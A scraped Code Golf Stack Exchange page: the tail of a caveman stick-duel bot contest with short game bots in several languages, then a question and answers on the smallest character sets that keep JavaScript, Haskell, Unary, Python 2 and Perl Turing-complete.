System.out.println("B"); } } else { if ((Math.random() * 95) < states[0].length()) { System.out.println("S"); } else { System.out.println("B"); } } } else { System.out.println("S"); } } } } class Player { int sharpLevel; public Player(char[] state) { sharpLevel = 0; for (char c : state) { switch (c) { case 'S': sharpLevel++; break; case 'P': sharpLevel--; break; case 'B': break; default: System.out.println(c); } } } public boolean hasSword() { return sharpLevel > 4; } public boolean canPoke() { return sharpLevel > 0; } } ``` [Answer] # Nigel Nigel is a patient, defensive old caveman who would rather be tactical than go all out on the attack. It's a PHP script, call with `php nigel.php` ``` <?php // Seed the random number generator srand(time()); // Simple function output chosen move function move($m) { echo $m; echo "\n"; exit; } // Make stick sharp if first move if (sizeof($argv) == 1) move("S"); // Grab the list of moves $moves = explode(",", $argv[1]); $mySharpness = 0; $opSharpness = 0; // Loop through all previous moves and calculate sharpness for ($i=0; $i<strlen($moves[0]); $i++) { $myMove = substr ($moves[0], $i, 1); $opMove = substr ($moves[1], $i, 1); if ($myMove == "S") $mySharpness++; if ($opMove == "S") $opSharpness++; if ($myMove == "P" && $mySharpness > 0) $mySharpness--; if ($opMove == "P" && $opSharpness > 0) $opSharpness--; } // We somehow have a sword.. ATTACK! if ($mySharpness > 4) move("P"); // Opponent is blunt, guarenteed upgrade! if ($opSharpness < 1) move("S"); // If we're sharp, either block or poke, unless OP is near a sword if ($mySharpness > 0) { // Oppenent is halfway to a sword.. ATTACK! if ($opSharpness > 2) move("P"); if (rand(0,1) == 0) move("P"); else move("B"); } // If we're blunt, either sharpen or block else { if (rand(0,1) == 0) move("S"); else move("B"); } ?> ``` [Answer] ## Aichmophobic - Lua He'll occasionally poke you, but only until the some stick gets too sharp. When this happens, he'll panic and curl into fetal position. ``` if arg[1] == nil then response = "S" elseif not arg[1]:match('SSSSS') == nil then --PANIC response = "B" else --Minds his own business and goes where he pleases math.randomseed(os.time()) local rand = math.random(); response = rand > 0.6 and "P" or "S" end print(response) ``` Run it with: `lua aichmophobic.lua` [Answer] ## Bob Caves Bob Caves is one of the most clever guys in his cave. He has learned to count with one hand (the other is occupied in holding his stick). He has known of this Stone Age Olympics and wanted to participate. His main strategy is block and sharpen his stick until he has a nice sharpy stick or the other caveman has a sharpy one too. In this case Bob Caves tries to poke him! ``` import java.util.Random; public class BobCaves { public static void main(String[] args) { int mySharpness = 0; int otherSharpness = 0; //Boc counts if (args.length > 0) { String[] ss = args[0].split(","); mySharpness = howSpiky(ss[0]); otherSharpness = howSpiky(ss[1]); } // Bob thinks! Random rn = new Random(); if (mySharpness == 0 && otherSharpness == 0){ System.out.println( "S"); } if (otherSharpness == 0 && mySharpness < 5 && mySharpness > 0){ if (rn.nextBoolean()){ System.out.println("P"); } else { System.out.println("S"); } } if (mySharpness >= 5 || (otherSharpness >= 2 && mySharpness > 0)) { System.out.println("P"); } if (rn.nextInt(5) > 3) { System.out.println("S"); } System.out.println("B"); } private static int howSpiky(String s1) { int count = 0; char[] c1 = s1.toCharArray(); for (int i = 0; i < c1.length; i++) { if (c1[i] == 'S') { count++; } else if (c1[i] == 'P'){ count --; } } return count; } } ``` Compile with `javac BobCaves.java` and run with `java BobCaves` Edit: Bob now counts when there is any block! (thanks to [Mikey Mouse](https://codegolf.stackexchange.com/users/23447/mikey-mouse)). Also he will sharp his stick when the other caveman stick is blunt. Edit 2: Improved count method (thanks again to Mikey). Edit 3: Making Bob slightly more aggressive. [Answer] ## Gruntt Gruntt is defensive. Gruntt analyzes other cavemen moves to know how to poke them. Then he pokes them right in the eye. Gruntt is not a nice caveman. ``` public class Gruntt { public static void main(String[] args) { System.out.println(whatToDo(args)); } private static String whatToDo(String[] args){ int mySharpness = 0; int otherSharpness = 0; if (args.length > 0) { String[] ss = args[0].split(","); mySharpness = howSpiky(ss[0]); otherSharpness = howSpiky(ss[1]); } else { return "S"; } if (mySharpness >= 5){ return "P"; } String res = wowoo(args[0].split(",")[1]); if ("P".equals(res) && mySharpness > 0) { return "P"; } else if ("P".equals(res) && mySharpness == 0) { return "S"; } else if ("S".equals(res) && !args[0].split(",")[0].endsWith("S")) { return "S"; } if (otherSharpness == 4 && !args[0].split(",")[0].endsWith("P")){ return "P"; } if (otherSharpness == 0){ return "S"; } return "B"; } private static int howSpiky(String s1) { int count = 0; char[] c1 = s1.toCharArray(); for (int i = 0; i < c1.length; i++) { if (c1[i] == 'S') { count++; } else if (c1[i] == 'P'){ count --; } } return count; } private static String wowoo(String s){ String s1 = ""; String s2 = ""; if (s.length() >= 4){ s1 = s.substring(s.length() - 4); } if (s.length() >= 3){ s2 = s.substring(s.length() - 3); } if ("SPSP".equals(s1)){ return "P"; } else if ("SSS".equals(s2)){ return "P"; } else if ("BBBB".equals(s1)){ return "S"; } else if ("SBSB".equals(s1)){ return "P"; } return null; } } ``` Compile with `javac Gruntt.java` and run with `java Gruntt` [Answer] ## Is it a bird? Is it a plane? It's RegExMan! He tries to analyze your super-boring sequences with his special primeval RegEx-power! ``` #!/usr/bin/env python import sys, re def whatAmIDoing(opnHist, meSharp, opnSharp) : match = re.search(r"([PSB]{3,})\1$", opnHist) ### Super RegEx ftw! if meSharp >= 5 : return "P" if opnSharp == 4 and meSharp > 0 : return "P" if match : opnStrat = match.group() if opnStrat[0] == "S" : if meSharp > 0 : return "P" else : return "S" elif opnStrat[0] == "B" : return "S" if opnSharp <= 0 : return "S" return "B" try : hist = sys.argv[1].split(",") sharp = map(lambda h : h.count("S") - h.count("P"), hist) answer = whatAmIDoing(hist[1], *sharp) except Exception : answer = "S" finally : print(answer) ``` --- Written in Python 2.7, run with `python RegExMan.py [history]` [Answer] # Sicillian But it's so simple! All I have to do is divine from what I know of other caveman: is he the sort of caveman who would block, sharpen, or poke? Now, a clever caveman would poke or block, because he would know that only a great fool would sharpen and expose himself to attack. I am not a great fool, so I can clearly not sharpen. But other caveman must know I am not a great fool, and would have counted on it, so I can clearly not poke or block! Run with: ``` javac Sicillian.java java Sicillian ``` Code: ``` public class Sicillian { public static void main(String[] args) { if (args.length == 0) System.out.println("S"); else { //get and analyze history String[] history = args[0].split(","); Caveman vizzini = new Caveman(history[0].toCharArray()); Caveman fool = new Caveman(history[1].toCharArray()); Think divine = new Think(history[0].toCharArray(),history[1].toCharArray()); //The Sicillian always thinks and makes a logical decision before acting... char onlyAFool = divine.clearly(vizzini.getSharpness(),fool.getSharpness()); //Never go in against a Sicillian when death is on the line! if(onlyAFool == 'S') { if(!vizzini.weaponless()) poke(); else sharpen(); } else if(onlyAFool == 'P') { if(vizzini.hasSword()) poke(); else block(); } else if(onlyAFool == 'B') sharpen(); else { // Inconceivable! //if he's a sharpener, poke him where it hurts! if(fool.isSharpener()) { if(vizzini.getSharpness() >= 2) poke(); //don't ever go weaponless, else you give him the advantage else sharpen(); } //if he's a blocker, get sword and break through his defense else if(fool.isDefensive()) { if(vizzini.hasSword()) poke(); else sharpen(); } // fool doesn't have a disposition to do anything in particular else { //he could be sharpening and blocking to get a sword in which case his sharpness will be higher //or a random, which will average a lower sharpness if (fool.getSharpness() <= 2) { //assume random if(vizzini.hasSword()) poke(); else if(fool.weaponless()) sharpen(); else block(); } else { if(vizzini.hasSword()) poke(); else if(vizzini.getSharpness() > fool.getSharpness()) sharpen(); //we can win race to sword else if(vizzini.getSharpness() >= 2 || (!vizzini.weaponless() && fool.onEdge())) poke(); else sharpen(); } } } } } //end of main private static void poke() { System.out.println("P"); } private static void block() { System.out.println("B"); } private static void sharpen() { System.out.println("S"); } } class Think { private char[][] cleverman = new char[6][6]; //tracks what the enemy does in a particular situation private int mySharpness; private int enemySharpness; public Think(char[] myAction, char[] enemyAction) { //init variables mySharpness = 0; enemySharpness = 0; for(int i = 0; i < myAction.length; i++) { //remember what enemy did last time cleverman[mySharpness][enemySharpness] = enemyAction[i]; //System.out.println("When I was at ("+mySharpness+") and he was at ("+enemySharpness+") he did ("+enemyAction[i]+")"); //calculate my sharpness if(myAction[i] == 'S') mySharpness++; else if(myAction[i] == 'P') mySharpness--; if(mySharpness < 0) mySharpness = 0; //ensure multiple pokes don't create a negative sharpness //calculate my enemy's sharpness if(enemyAction[i] == 'S') enemySharpness++; else if(enemyAction[i] == 'P') enemySharpness--; if(enemySharpness < 0) enemySharpness = 0; //ensure multiple pokes don't create a negative sharpness } } public char clearly(int myAction, int enemyAction) { if(myAction > 5) myAction = 5; if(enemyAction > 5) enemyAction = 5; return cleverman[myAction][enemyAction]; } } class Caveman { private int sharpness; private int disposition; //Finite State Machine: how inclined the caveman is toward blocking (0) or sharpening (4) public Caveman(char[] action) { sharpness = 0; disposition = 1; //assume a slightly defensive disposition for (int i = 0; i < action.length; i++) { if(action[i] == 'S') { sharpness++; disposition++; } else if(action[i] == 'P') sharpness--; else disposition--; //blocking if(sharpness < 0) sharpness = 0; //ensure multiple pokes don't create a negative sharpness if(disposition > 4) disposition = 4; else if(disposition < 0) disposition = 0; } } public int getSharpness() { return sharpness; } public boolean weaponless() { return sharpness == 0; } public boolean hasSword() { return sharpness >= 5; } public boolean onEdge() { return sharpness == 4; } public boolean isDefensive() { return disposition == 0; } public boolean isSharpener() { return disposition == 4; } public int getDisposition() { return disposition; } } ``` [Answer] # bash-magnon Bash-magnons were robustly built and powerful. The body was generally heavy and solid with a strong musculature. The forehead was fairly straight rather than sloping like in Neanderthals, and with only slight browridges. The face was short and wide. The chin was prominent. The brain capacity was about 1,600 cubic centimetres (98 cu in), larger than the average for modern humans. However, recent research suggests that the physical dimensions of so-called "Bash-Magnon" are not sufficiently different from modern humans to warrant a separate designation. *Me have a brain, me remember.* This is a self executable `./bash-magnon.sh` ``` #!/bin/bash function min () { [[ $1 -gt $2 ]] && echo $2 || echo $1 } function max () { [[ ${1%% *} -gt ${2%% *} ]] && echo $1 || echo $2 } declare -A brain declare -i C S P B me he he=0 me=0 C=0 S=0; B=0; P=0 left=${1%%,*} right=${1##*,} while : do [[ "${right:$C:1}" ]] && brain[$he$me]=${right:$C:1} case "${left:$C:1}${right:$C:1}" in BB) true;; BP) ((he--));; BS) ((he++));; PP) ((he--)); ((me--));; PB) ((me--));; PS|SP) exit;; SB) ((me++));; SS) ((me++)); ((he++));; "") break;; esac me=$(max 0 $me) me=$(min 9 $me) he=$(max 0 $he) he=$(min 9 $he) ((C++)) done [[ $me$he = *[5-9] ]] && ((P+=2)) [[ $me$he = [5-9]* ]] && ((P+=2)) [[ $me$he = [1-9]0 ]] && ((P+=2)) [[ $me$he = 00 ]] && ((S+=2)) [[ $me$he = [1-4]4 ]] && ((P+=2)) [[ $me$he = 0[1-4] ]] && ((S+=1)) [[ $me$he = 0* ]] && ((B+=1)) case "${brain["$he$me"]}" in S) ((P+=2));; B) ((S+=2));; P) ((B+=2));; *) ((B++));; esac set $(max "$B B" "$(max "$P P" "$S S")" ) echo $2 ``` [Answer] # PokeBackBot Simply adapted from PokeBot: ``` puts 'SBPB'[(ARGV.shift || ',').split(',', 2)[0].length % 4] ``` Run with `ruby pokebackbot.rb`. This uses the next simplest strategy, and blocks "patiently" for one round before attacking. [Answer] **Swordmaster** Written in Python 3.4 (works with Python 3.x) Tries to get a sword as fast as possible but attacks if it has a chance to hit him (sharpness > 0) and enemy could hurt it too (enemy sharpness > 0). Blocks only if has no sharpness and enemy could attack. Start with: ``` python3 swordmaster.py MOVES ``` (assumed you save it as `swordmaster.py`) Quick and ugly code: ``` import sys, random dg = False if len(sys.argv) > 1: ow,ot = sys.argv[1].split(',') else: ow = ot = "" def gs(m): ow = 0 ot = 0 i = 0 ms = m[0] mo = m[1] for _ in mo: if ms[i] == 'S': ow += 1 elif ms[i] == 'P' and mo[i] in ['P','B']: ow -= 1 if mo[i] == 'S': ot += 1 elif mo[i] == 'P' and ms[i] in ['P','B']: ot -= 1 if dg: print("Own: {}, Other: {}".format(ow,ot)) i += 1 return [ow, ot] def sm(sh): if (type(sh) != list) and dg: raise ValueError('Invalid sh type.') ow, ot = sh if ow >= 5: ret = 'P' elif ow >= 0 and ot == 0: ret = 'S' elif ow > 0 and ot > 0: ret = 'P' elif ow == 0 and ot > 0: ret = 'B' else: ret = random.choice(['S','B','P']) #Should not happen return ret if __name__ == "__main__": print(sm(gs([ow,ot]))) ``` (Set `dg` to `True` to enable debug messages) [Answer] # FoolMeOnce.py Save each player's moves for the first duel, then replay with the exact same moves. If the enemy's algorithm is nonrandom, we can predict the same outcome and strike only when we know we'll win. ``` import os import sys import random def getLastMove(player, turn): path = 'players/FoolMeOnce/'+player+str(turn)+'.txt' if os.path.isfile(path): with open(path, 'r') as f: return f.read() else: return 'nofile' def sharpness(history): sharpness = 0 for c in history: if c is 'S': sharpness+=1 elif c is 'P' and sharpness > 0: sharpness-=1 return sharpness def takeTurn(choice, history, turn): print(choice) with open('players/FoolMeOnce/me'+str(turn)+'.txt', 'w') as f: f.write(choice) #also record their last choice choice = history[-1] with open('players/FoolMeOnce/them'+str(turn)+'.txt', 'w') as f: f.write(choice) #if its the first turn, always sharpen if(len(sys.argv) == 1): print('S') else: history = sys.argv[1].split(',') meSharp = sharpness(history[0]) themSharp = sharpness(history[1]) turn = len(history[0]) #read opponents move and our move for this turn from last duel them = getLastMove('them', turn); me = getLastMove('me', turn); #if this is first duel, fool me once if(them is 'nofile' or me is 'nofile'): if themSharp is 0 and meSharp >0: takeTurn(random.SystemRandom().choice('PS'), history, turn) else: takeTurn('B', history, turn) #if we could have played a winning move, do it. otherwise do what we did last time elif(them is 'S' and meSharp > 0): takeTurn('P', history, turn) else: takeTurn(me, history, turn) ``` Written in python 3, so most likely you'll have to use **python3 FoolMeOnce.py** On the first round, I'm not sure if we get an empty string or just a comma, so there may be some tweaks needed. ]
[Question] [ # Summary: For any given language, what is the smallest amount of unique characters for your language to be [Turing-Complete](https://en.wikipedia.org/wiki/Turing_completeness)? # Challenge: For any language of your choice, find the smallest subset of characters that allows your language to be Turing-Complete. You may reuse your set of characters as many times as you want. --- # Examples: * JavaScript: `+!()[]` (<http://www.jsfuck.com>) * Brainfuck: `+<>[]` (assumes a wrapping cell size) * Python 2: `()+1cehrx` (made from scripts like `exec(chr(1+1+1)+chr(1))`) # Scoring: This challenge is scored in **characters**, not *bytes*. For example, The scores for the examples are 6, 5, and 9. --- # Notes: * This challenge differentiates from others in the sense that you only your language to be Turing-Complete (not necessarily being able to use every feature of the language.) * Although you can, please do not post answers without reducing the characters used. Example: Brainfuck with 8 characters (since every other character is a comment by default.) * You MUST provide at least a brief explanation as to why your subset is Turing-Complete. [Answer] # JavaScript (ES6), 5 characters **Thanks to @ETHproductions and @ATaco for helping with this; this was a group project, and although the original idea was mine, many of the details are theirs.** See the chat discussion where this JavaScript subset was developed [here](http://chat.stackexchange.com/transcript/message/35612532#35612532). ``` []+=` ``` It's fairly well established that [any Javascript program can be written with the characters (`[]()+!`), but 5 characters is not enough](https://codegolf.stackexchange.com/q/75423/62131). However, this isn't a challenge about writing arbitrary JavaScript. It's a challenge about writing a Turing-complete language, and using the fact that Turing-complete languages don't need access to the DOM, or even interactive I/O, it turns out that we can write a program with all the functionality required, even without any ability to run an `eval` or an equivalent. ## Basic bootstrapping JavaScript is *very* flexible with types. So for example, `[]` is an empty array, but `+[]` is 0, and `[]+[]` is the null string. Notably, the fact that we can produce 0 with this character set makes it possible to simulate the effect of parentheses for grouping; `(a)` can be written as `[a][+[]]`. We can use this sort of trick to produce various characters using only `+[]`: * `[][+[]]` is `undefined` (being the first element of an empty array); so * `[]+[][+[]]` is `"undefined"` (the stringification of `undefined`); so * `[[]+[][+[]]]` is `["undefined"]` (wrapping that in an array); so * `[[]+[][+[]]][+[]]` is `"undefined"` (its first element); so * `[[]+[][+[]]][+[]][+[]]` is `"u"` (its first letter). `u` is one of the easiest characters to create, but similar techniques let us create a range of other characters. The [same link as before](https://codegolf.stackexchange.com/q/75423/62131) gives us the following list of characters accessible with `+[]` (this is the same list as for `+[]()`, excluding `,` because it's the only construction that uses parentheses for a purpose other than grouping/precedence): ``` 0123456789acdefinotuvyIN (){}. ``` We can't spell very many useful words out of this set of characters (remember that this is the set of characters we can produce as *strings*; we don't get to execute them without some sort of `eval`). As such, we need another character. We'll use `=`, because it'll come in useful later, but for the time being, we'll use it to spell the comparison operator `==`. That allows us to produce `false` and `true`, which can be stringified and indexed into, and immediately let us add `lrs` to the characters we can include into strings. By far, the most important word that this lets us spell, that we couldn't before, is `constructor`. Now, JavaScript has a property access syntax that looks like this: ``` object.property ``` but you can also write it like this: ``` object["property"] ``` and nothing's preventing us using a calculated property, rather than a string literal. We can thus do something along the lines of ``` object["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"] ``` (with the letters generated as described above; the code quickly gets *very* long!); that's equivalent to `object.constructor`, which lets us access the constructors of arbitrary objects. There are several tricks we can do with this. From the mundane to the fantastic: * The constructor of an object is a function. Notably, it has a name, and that name is part of the stringification of the function. So for example, we can do `[[]+[]][+[]]["constructor"]` to get at the constructor for a string, whose name is String, and then stringify it to get at the capital `S` character. This expands our alphabet a bit, and we're going to need some of the new characters later. * All arrays have the same constructor; `[]["constructor"] == []["constructor"]` is `true` (unlike `[] == []`, which is false). This might seem minor, but it's very important, because it gives us a method of storing values persistently; we can set a random property on the constructor, and read it back later. (This is one of the reasons we're using `=` in particular, rather than one of the other ways to generate `true` and `false`.) For example, we can evaluate `[[]["constructor"]["a"]=[]]`, and later on read `[]["constructor"]["a"]` and get back the same array we stored there. This fulfils **one of the requirements we need for Turing-completeness**, the ability to store and retrieve arbitrary amounts of data. We can create a cons cell using a two-element array, taking values from our constructor-property storage, and then store it back in place of one of those values, letting us build up arbitrarily large data structures in memory; and we can access it this storage by doing the reverse, tearing it down piece by piece until the data we want becomes accessible. Reading is destructive, but that's acceptable because we have more than one place to store data, so we can copy it as we read it and then place the copy back in the original location. * It allows us to get at the constructor for a function (there are plenty of functions we can access with our limited alphabet; `[]["find"]`, i.e. Array.find, is the most easily accessible, but there are others). Why is that useful? Well, we can actually use it for the intended purpose of a constructor, and construct functions! Unfortunately, with our character set, we can't pass the Function constructor a computed string. However, the use of ``` does let us pass it a string *literal* (e.g. `[]["find"]["constructor"]`function body goes here``); this means that we can define custom values of function type with any behaviour when executed, so long as we can express that behaviour entirely using `[]+=`. For example, `[]["find"]["constructor"]`[]+[]`` is a fairly boring function that computes the null string, discards it, and exits; *that* function isn't useful, but more complex ones will be. Note that although the functions can't take parameters or return values, those aren't problems in practice as we can use the constructor-property storage to communicate from one function to another. Another restriction is that we can't use ``` in the body of a function. Now, we can define custom functions, but what's holding us back at this point is the difficulty we have in *calling* them. At the top level of the program, we can call a function with ````, but being able to call functions only from the top level doesn't let us do any sort of loop. Rather, we need functions to be able to call each other. We accomplish this with a rather nifty trick. Remember the capital `S` we generated earlier? That lets us spell `"toString"`. We aren't going to call it; we can convert things to strings by adding `[]` to them. Rather, we're going to *replace* it. We can use constructor storage to define persistent arrays that stick around. We can then assign our created functions to the arrays' `toString` methods, and those assignments will also stick around. Now, all we have to do is a simple `+[]` on the array, and suddenly, our custom-defined function will run. This means that we can use the characters `+=[]` to call functions, and therefore our functions can call each other – or themselves. This gives us recursion, which gives us loops, and suddenly we have everything we need for Turing-completeness. Here's a rundown of a set of features that gives Turing-completeness, and how they're implemented: * **Unbounded storage**: nested arrays in constructor storage * **Control flow**: implemented using `if` and recursion: + **`if`**: convert a boolean into a number, and index into a 2-element array; one element runs the function for the `then` case when stringified, the other element runs the function for the `else` case when stringified + **Recursion**: stringify an appropriate element of the constructor storage * **Command sequencing**: `[a]+[b]+[c]` evaluates `a`, `b`, and `c` left-to-right (at least on the browser I checked) Unfortunately, this is fairly impractical; not only is it hugely large given that strings have to be constructed character-by-character from first principles, it also has no way to do I/O (which is *not* required to be Turing-complete). However, if it terminates, it's at least possible to look in the constructor storage manually afterwards, so it's not impossible to debug your programs, and they aren't completely noncommunicative. [Answer] ## Haskell, 4 chars ``` ()=; ``` With `()=` we are able to define S, K and I. The definitions must be separated by either `;` or a NL. We define `(==)` as S (the second line shows a more readable version): ``` ((=====)==(======))(=======)=(=====)(=======)((======)(=======)) ( a == b ) c = a c ( b c ) ``` `(===)` as K: ``` (=====)===(======)=(=====) a === b = a ``` and `(====)` as I: ``` (====)(=====)=(=====) (====) a = a ``` Luckily `(==)`, `(===)`, `(====)`, etc. are valid function/parameter names. As @ais523 points out, SKI isn't enough in a strongly typed language like Haskell, so we need to add a fixpoint combinator `(=====)`: ``` (=====)(======)=(======)((=====)(======)) (=====) f = f ((=====) f ) ``` [Answer] # [Unary](http://esolangs.org/wiki/Unary), 1 character ``` 0 ``` The choice of character doesn't really matter; the length of the program defines the brainfuck program it transpiles to. While the spec mandates `0` characters, most transpilers don't seem to check this. [Answer] # Python 2, 7 characters ``` exc="%\n ``` Any Python 2 program can be encoded using these 7 characters (`\n` is newline). **Constructing arbitrary strings** We can perform concatenation by repeatedly applying the substitution operator `%` on a single string. For example, if `a=1, b=2, c=3`, `"%d%%d%%%%d" % a % b % c` will give us the string `"123"`. Luckily, the letters in `exec` give us access to `%x` and `%c` which are basically `hex()` and `chr()`. With `%c`, we can construct any string as long as we have the necessary numbers that represent the characters. We can then execute this string as python code using the `exec` keyword. **Make numbers** We can get access to `0` and `1` right off the bat with comparisons (`==`). Through a combination of concatenating digits and modulo, it is possible to construct the number `43` which represents `+` in ASCII. This allows us to construct the numbers we need for our code. **Putting it together** I omitted several details in this explanation as they are not essential in understanding how programs under these constraints can be written. Below is a Python 2 program I wrote that converts any python program into a functionally equivalent version that only uses these 7 characters. The techniques used are inspired by [this](http://golf.shinh.org/reveal.rb?Hello%20broken%20keyboard/k_1466880967&py) submission on anarchy golf by k. Some simple tricks are also used to keep the size of the generated programs within reasonable limits. ``` import sys var = { 43: 'e', 'prog': 'x', # the program will be stored in this variable 'template': 'c', 0: 'ee', 1: 'ex', 2: 'ec', 4: 'xe', 8: 'xx', 16: 'xc', 32: 'ce', 64: 'cc', 'data': 'cx', # source program will be encoded here } unpacker = 'exec"".join(chr(eval(c))for c in {}.split())'.format(var['data']) source = sys.stdin.read() charset = sorted(list(set(source+unpacker))) codepoints = map(ord, charset) output = ( # create template for joining multiple characters '{}="%c%%c%%%%c%%%%%%%%c"\n'.format(var['template']) + # create 1 '{0}={1}=={1}\n'.format(var[1], var['template']) + # create 0 '{}={}==""\n'.format(var[0], var['template']) + # create 3 # store it at var[43] temporarily ( 'exec"{0}=%x%%x"%{2}%{2}\n' + 'exec"{0}%%%%%%%%=%x%%x%%%%x"%{1}%{2}%{1}\n' ).format(var[43], var[0], var[1]) + # create 4 # this step overwrites the value stored at var[0] ( 'exec"{1}=%x%%x"%{0}%{1}\n' + 'exec"{1}%%%%=%x%%x"%{2}%{0}\n' ).format(var[43], var[0], var[1]) + # create 43 'exec"{0}=%x%%x"%{1}%{0}\n'.format(var[43], var[0]) ) # create powers of 2 for i in [2, 4, 8, 16, 32, 64]: output += 'exec"{0}={1}%c{1}"%{2}\n'.format(var[i], var[i/2], var[43]) for i, c in enumerate(codepoints): # skip if already aliased if c in var: continue # generate a new name for this variable var_name = '' if i < 27: for _ in range(3): var_name += 'exc'[i%3] i /= 3 else: i -= 27 for _ in range(4): var_name += 'exc'[i%3] i /= 3 var[c] = var_name # decompose code point into powers of two rem = c pows = [] while rem: pows.append(rem&-rem) rem -= rem&-rem # define this variable front = 'exec"{}={}'.format(var[c], var[pows.pop()]) back = '"' for i, p in enumerate(pows): front += '%'*(2**i) + 'c' + var[p] back += '%' + var[43] output += front + back + '\n' # initialise the unpacker output += 'exec"""{}=""\n"""\n'.format(var['prog']) i = 0 length = len(unpacker) while i < length: if (length-i) % 4 == 0: # concat 4 characters at a time w, x, y, z = [var[ord(unpacker[i+j])] for j in range(4)] output += 'exec"{}%c={}%%{}%%{}%%{}%%{}"%{}\n'.format(var['prog'], var['template'], w, x, y, z, var[43]) i += 4 else: output += 'exec"""{}%c="%%c"%%{}"""%{}\n'.format(var['prog'], var[ord(unpacker[i])], var[43]) i += 1 # encode source data output += var['data'] + '="""' output += '\n'.join(var[ord(c)] for c in source) output += '"""\n' # execute the program output += 'exec"exec%c{}"%{}'.format(var['prog'], var[32]) print output ``` [**Try it online**](https://tio.run/nexus/python2#pVbbbuM2EH3XV0wVqJJixWvZxnZh1O/9gz6kwoKhaJu7siRQdOzU8LdvZ3iR5NhpC2yQKKI4M@fMlfwh922jNHRvXfDKFKzhHAD@LBcriEWcmUXcqmYb44dTnMED6J0A@qLYHo6yquBFQKcbJUqQNe7KDtCUZC@VsOpa7NuKaUEmuLM5I/seIKfFyS3mtPBiS0L1Yl9o4cXyz7TycgvS4l7wM6lxvxeXTDODbfl3zUHxWxdEzZsSfdgJJYJLEBzqlvHvgmKC5AQPw@m3RtYJ36lEvLIq4Wm6aRRw8vp8mXZtJXWSpvEUv@6ZTjAIzxa7SIPAoa4p1NNOl7KeKsHKJA34jqlOaNrCVIgyqWSnE/ySWJ2JZ5KmKIwcW6ShO5TfszZpVJmBM4EwzUG3B7KVGN8fgCOKFuBzAESZ/JD1FvaHSsu2EkafcS1UZyN2vqzDiEf06x7mJfyrvvauz2yRwiS4Rsydqdllfc4va3q8U8@LDP7TzKxnhL/r8D2F2f@xsXBLU6UgNTBtlJaLwgSmUViv1ZuRsnEzmCbrxD86RdEpjM7zC/0hA0S4kfJRstL0Rir5xaoZ541SOqaPDCx/70d@h/7SLU1rdVq00LwKdVRSi850I1bjoe9B59usuO9OPrgz87xu3ckvgyvO8dnPeGAzcBvR3Bv@wGQaYE33ZtrmiCUKzQbmAdWxpNZ7nmewzOBLhiMhw0GQYfsXK4PnmmGyHiETJMdH6FI5BpYOV36auzekggQMVmY7XdSHvVDIJhlaMV35AvsuW5AbYBX19hv@l6wTpdnFz8YAml314eZNrWV9ED5eW1Eb48CgFkeo2d527O1UxcVXs43OxR5Awu8w/20wT6pfCVSxeiuSRTpsXdmwEeLxs4wWxZWIhE9r1z@i6sSgL@FpjVgfQS1/CopCzwt0zav5@JSCN9ivHY4sjD6Y8COobka1oY@NkVZijxa4ecddGpjPFvG4kzj0cH/gSAJT1raiLhPc@PUJH2m/S6bQXb8xsNnIWtxJzkZhXvuDw8yuq0LjrrwMatu0SVpYsBcc9KQX2pS6wmuvC4@0RuG1YBTXKH5M5o@PEhuQTlp8GpAhzMa8lZy48h4iwLruXdc4y04NYhoA2I14eGiJpd0JM3388RS8b7eQPKeJHd6MbXulQKclejsLKlFv9Q5f8SXpj7vA5omK2gqsfJ0ndv2EnkawhDXaGOLxQF3FcQwuR@cajUUGWu5FL3fM4JTBWwZ/U2UQKzxLe/RnOflWpIU9L8d1PUTsZrzgZMFMR9H1H06ay333M7hqgFGvjM@zbMR0NJWGtkECyzsdei8dSDCkg9zwCv@F2YfErmOEEfqIUk6lYi9V/spFl6FRlYwuSFRdWCpY9iPWRM1cuTwud/kwc9TaTMcKts4MLjp80GJ8V70pT3rgUWDycz87tFjM6QRoFQ0aa@HHA2n6hdkJ/xBV1WTwZ6Oq8pfwHw) [Answer] ## Perl, 5 characters ``` <>^es ``` As with other scripting languages, the idea is to `eval` arbitrary strings. However, our character set doesn’t include quotes or concatenation operators, so constructing arbitrary strings is gonna be way more complex. Note that `eval^"` would be much simpler to deal with, but has one more character. Our main tool is `s<^><CODE>ee`, which evals `CODE`, then evals its output. More `e` can be added, each one causing the output of the previous one to be evaled. We get strings using `<>`, which is the glob operator except when it isn’t. The first character can’t be `<` (otherwise it looks like the `<<` operator), the angle brackets need to be balanced, and there must be at least one non-letter character (otherwise it’s interpreted as the readline operator). `^` is the xor operator, and it can be used on strings, doing character-per-character bitwise xor. By xoring strings from our character set together, we can get any combination of characters from `^B^V^S(*-/9;<>HJMOY[`\^begqstv`, as long as we accept having some garbage around (the first three of those are control chars). For example, suppose we want to get `"v99"`. One way to get `v99` is `"><<" ^ "e>>" ^ "see" ^ "^^^"`, but we can’t represent those strings due to the constraints on `<>`. So instead, we use: ``` <^<<^>><>>^<^^^^^<>>^<^^^^^^e>^<^^^^^^^>^<^^^^^e>^<^^^^e^>^<e^^es>^<^ee^^>^<^<^^^^^>>^<^<>^^^^>^<^^^^^^^e>^<^^^^^^^^> ``` The above yields `Y9;v99;`, which, when eval-ed, yields the same result as a plain `v99` (namely, the character with ASCII code 99). Thus we can use the entire `^B^V^S(*-/9;<>HJMOY[`\^begqstv` charset to generate our arbitrary string, then convert it as above and stick it in a `s<><CODE>eeee` to execute it. Unfortunately, this charset is still very limited, without any obvious way to perform concatenation. But fortunately, it contains the star. This lets us write `*b`, which evaluates to the string `"*main::b"`. Then, `*b^<^B[MMH^V^SY>` (^B, ^V and ^S are literal control characters) gives us `(6, $&);`, which, when eval-ed again, returns the value of Perl’s match variable, `$&`. This lets us use a limited form of concatenation: we can repeatedly prepend things to `$_` using `s<^><THINGS>e`, and then use `s<\H*><*b^<^B[MMH^V^SY>>eee` to eval `$_` (`\H` matches anything but horizontal whitespace; we use it instead of the dot, which isn’t in our charset). Using `9-/`, we can easily generate all digits. Using digits, `v`, and concatenation, we can generate arbitrary characters (vXXX yields the character with ASCII code XXX). And we can concatenate those, so we can generate arbitrary strings. So it looks like we can do anything. Let’s write a complete example. Suppose we want a program that prints its own PID. We start with the natural program: ``` say$$ ``` We convert it to v-notation: ``` s<><v115.v97.v121.v36.v36>ee ``` We rewrite this using only `^B^V^S(*-/9;<>HJMOY[`\^begqstv` (whitespace is for readability only and doesn’t affect the output): ``` s<^>< s<^><9*9-9-9-9-9-9>e; s<^><v>; s<v\H\H><*b^<^B[MMH^V^SY>>eee; s<^><9*9-9-9-9-9-9>e; s<^><v>; s<v\H\H><*b^<^B[MMH^V^SY>>eee; s<^><99-99/-9-99/-9>e; s<^><v>; 